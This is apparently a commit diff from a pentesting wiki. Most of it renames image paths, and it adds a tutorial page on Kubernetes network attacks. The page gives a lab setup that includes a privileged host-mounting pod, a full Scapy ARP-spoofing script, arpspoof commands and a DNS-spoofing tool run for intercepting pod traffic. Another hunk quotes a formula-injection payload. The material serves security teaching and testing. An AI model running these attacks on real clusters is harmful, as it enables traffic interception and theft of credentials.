GitBook: [#3067] No subject

1911-pentesting-fox.md

@@ -10,7 +10,7 @@ dht udp "DHT Nodes"
 
 ![](<.gitbook/assets/image (273).png>)
 
-![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
+![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
 
 InfluxDB
 

SUMMARY.md

@@ -531,6 +531,7 @@
     * [Monitoring with Falco](pentesting/pentesting-kubernetes/kubernetes-hardening/monitoring-with-falco.md)
     * [Kubernetes SecurityContext(s)](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md)
     * [Kubernetes NetworkPolicies](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-networkpolicies.md)
+  * [Kubernetes Network Attacks](cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md)
 * [Concourse](cloud-security/concourse/README.md)
   * [Concourse Architecture](cloud-security/concourse/concourse-architecture.md)
   * [Concourse Lab Creation](cloud-security/concourse/concourse-lab-creation.md)

cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md

@@ -0,0 +1,286 @@
+# Kubernetes Network Attacks
+
+## Introduction
+
+Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../pentesting/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic.
+
+In the scenario 4 machines are going to be created:
+
+* ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
+* **ubuntu-attack**: **Malicious** container in default namespace
+* **ubuntu-victim**: **Victim** machine in kube-system namespace
+* **mysql**: **Victim** machine in default namespace
+
+```yaml
+echo 'apiVersion: v1
+kind: Pod
+metadata:
+  name: ubuntu-pe
+spec:
+  containers:
+  - image: ubuntu
+    command:
+      - "sleep"
+      - "360000" 
+    imagePullPolicy: IfNotPresent
+    name: ubuntu-pe
+    securityContext:
+      allowPrivilegeEscalation: true
+      privileged: true
+      runAsUser: 0 
+    volumeMounts:
+    - mountPath: /host
+      name: host-volume
+  restartPolicy: Never 
+  hostIPC: true 
+  hostNetwork: true 
+  hostPID: true 
+  volumes:
+  - name: host-volume
+    hostPath:
+      path: /
+---
+apiVersion: v1
+kind: Pod
+metadata:
+  name: ubuntu-attack
+  labels:
+    app: ubuntu
+spec:
+  containers:
+  - image: ubuntu
+    command:
+      - "sleep"
+      - "360000" 
+    imagePullPolicy: IfNotPresent
+    name: ubuntu-attack
+  restartPolicy: Never
+---
+apiVersion: v1
+kind: Pod
+metadata:
+  name: ubuntu-victim
+  namespace: kube-system
+spec:
+  containers:
+  - image: ubuntu
+    command:
+      - "sleep"
+      - "360000" 
+    imagePullPolicy: IfNotPresent
+    name: ubuntu-victim
+  restartPolicy: Never
+---
+apiVersion: v1
+kind: Pod
+metadata:
+  name: mysql
+spec:
+  containers:
+  - image: mysql:5.6
+    ports:
+      - containerPort: 3306
+    imagePullPolicy: IfNotPresent
+    name: mysql
+    env:
+      - name: MYSQL_ROOT_PASSWORD
+        value: mysql
+  restartPolicy: Never' | kubectl apply -f -
+```
+
+```bash
+kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
+kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
+kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
+```
+
+## Basic Kubernetes Networking
+
+If you want more details about the networking topics introduced here, go to the references.
+
+### ARP
+
+Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
+
+![](<../../.gitbook/assets/image (637).png>)
+
+This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
+
+{% hint style="warning" %}
+Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
+{% endhint %}
+
+### DNS
+
+In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
+
+```bash
+kubectl -n kube-system describe services
+Name:              kube-dns
+Namespace:         kube-system
+Labels:            k8s-app=kube-dns
+                   kubernetes.io/cluster-service=true
+                   kubernetes.io/name=KubeDNS
+Annotations:       prometheus.io/port: 9153
+                   prometheus.io/scrape: true
+Selector:          k8s-app=kube-dns
+Type:              ClusterIP
+IP Families:       <none>
+IP:                10.96.0.10
+IPs:               10.96.0.10
+Port:              dns  53/UDP
+TargetPort:        53/UDP
+Endpoints:         172.17.0.2:53
+Port:              dns-tcp  53/TCP
+TargetPort:        53/TCP
+Endpoints:         172.17.0.2:53
+Port:              metrics  9153/TCP
+TargetPort:        9153/TCP
+Endpoints:         172.17.0.2:9153
+```
+
+In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
+
+If you check the DNS address inside any pod you will find something like this:
+
+```
+cat /etc/resolv.conf
+nameserver 10.96.0.10
+```
+
+However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
+
+Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
+
+{% hint style="warning" %}
+This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
+
+Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
+
+Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
+{% endhint %}
+
+## ARP Spoofing in pods in the same Node
+
+Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
+
+### Scapy
+
+```bash
+python3 /tmp/arp_spoof.py
+Enter Target IP:172.17.0.10 #ubuntu-victim
+Enter Gateway IP:172.17.0.9 #mysql
+Target MAC 02:42:ac:11:00:0a
+Gateway MAC: 02:42:ac:11:00:09
+Sending spoofed ARP responses
+
+# Get another shell
+kubectl exec -it ubuntu-attack -- bash
+ngrep -d eth0
+
+# Login from ubuntu-victim and mysql and check the unencrypted communication
+# interacting with the mysql instance
+```
+
+{% code title="arp_spoof.py" %}
+```python
+#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
+from scapy.all import *
+
+def getmac(targetip):
+	arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
+	targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
+	return targetmac
+
+def spoofarpcache(targetip, targetmac, sourceip):
+	spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
+	send(spoofed, verbose= False)
+
+def restorearp(targetip, targetmac, sourceip, sourcemac):
+	packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
+	send(packet, verbose=False)
+	print("ARP Table restored to normal for", targetip)
+
+def main():
+	targetip= input("Enter Target IP:")
+	gatewayip= input("Enter Gateway IP:")
+
+	try:
+		targetmac= getmac(targetip)
+		print("Target MAC", targetmac)
+	except:
+		print("Target machine did not respond to ARP broadcast")
+		quit()
+
+	try:
+		gatewaymac= getmac(gatewayip)
+		print("Gateway MAC:", gatewaymac)
+	except:
+		print("Gateway is unreachable")
+		quit()
+	try:
+		print("Sending spoofed ARP responses")
+		while True:
+			spoofarpcache(targetip, targetmac, gatewayip)
+			spoofarpcache(gatewayip, gatewaymac, targetip)
+	except KeyboardInterrupt:
+		print("ARP spoofing stopped")
+		restorearp(gatewayip, gatewaymac, targetip, targetmac)
+		restorearp(targetip, targetmac, gatewayip, gatewaymac)
+		quit()
+
+if __name__=="__main__":
+	main()
+
+# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
+```
+{% endcode %}
+
+### ARPSpoof
+
+```bash
+apt install dsniff
+arpspoof -t 172.17.0.9 172.17.0.10
+```
+
+## DNS Spoofing
+
+As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
+
+You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)****
+
+In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts` ** with the **domains** you want to **spoof** like:
+
+```
+cat hosts
+google.com. 1.1.1.1
+```
+
+Perform the attack to the ubuntu-victim machine:
+
+```
+python3 exploit.py --direct 172.17.0.10
+[*] starting attack on direct mode to pod 172.17.0.10
+Bridge:  172.17.0.1 02:42:bd:63:07:8d
+Kube-dns:  172.17.0.2 02:42:ac:11:00:02
+
+[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
+```
+
+```bash
+#In the ubuntu machine
+dig google.com
+[...]
+;; ANSWER SECTION:
+google.com.		1	IN	A	1.1.1.1
+```
+
+{% hint style="info" %}
+If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
+You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
+{% endhint %}
+
+## References
+
+* ****[https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
+* [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

exploiting/linux-exploiting-basic-esp/README.md

@@ -389,7 +389,7 @@ Get the address to this table with: **`objdump -s -j .got ./exec`**
 
 Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT`
 
-![](<../../.gitbook/assets/image (621) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (621) (1) (1) (1) (1).png>)
 
 Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
 

forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md

@@ -47,7 +47,7 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig
 
 In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command)
 
-![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (2) (2).png>)
+![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (2) (1) (2).png>)
 
 An then use the following code
 

forensics/basic-forensic-methodology/windows-forensics/README.md

@@ -134,7 +134,7 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi
 
 Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
 
-![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (2) (2).png>)
+![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (2) (1) (2).png>)
 
 ### USB Detective
 

linux-unix/linux-privilege-escalation-checklist.md

@@ -154,6 +154,6 @@ If you want to **know** about my **latest modifications**/**additions** or you h
 If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
 Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
 
-![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (3).png>)
+![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (14).png>)
 
 ​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)

macos/macos-security-and-privilege-escalation/macos-mdm/README.md

@@ -128,7 +128,7 @@ The response is a JSON dictionary with some important data like:
 * Signed using the **device identity certificate (from APNS)**
 * **Certificate chain** includes expired **Apple iPhone Device CA**
 
-![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
+![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
 
 ### Step 6: Profile Installation
 

mobile-apps-pentesting/android-checklist.md

@@ -66,6 +66,6 @@ If you want to **know** about my **latest modifications**/**additions** or you h
 \*\*\*\*If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
 Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
 
-![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (5).png>)
+![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (5).png>)
 
 ​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

mobile-apps-pentesting/ios-pentesting/README.md

@@ -608,7 +608,7 @@ Many apps log informative (and potentially sensitive) messages to the console lo
 5. Reproduce the problem.
 6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window.
 
-![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (2) (2).png>)
+![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (2) (1) (2).png>)
 
 You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command:
 

pentesting-web/formula-injection.md

@@ -41,7 +41,7 @@ The good news is that **this payload is executed automatically when the file is
 
 It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
 
-![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
+![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
 
 ### More
 

pentesting-web/saml-attacks/README.md

@@ -8,7 +8,7 @@
 
 ## Attacks Graphic
 
-![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (2) (3).png>)
+![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (2) (1) (3).png>)
 
 ## Tool
 

pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md

@@ -150,7 +150,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
 
 The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
 
-![](<../../.gitbook/assets/image (637) (1).png>)
+![](<../../.gitbook/assets/image (637) (1) (1).png>)
 
 The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**: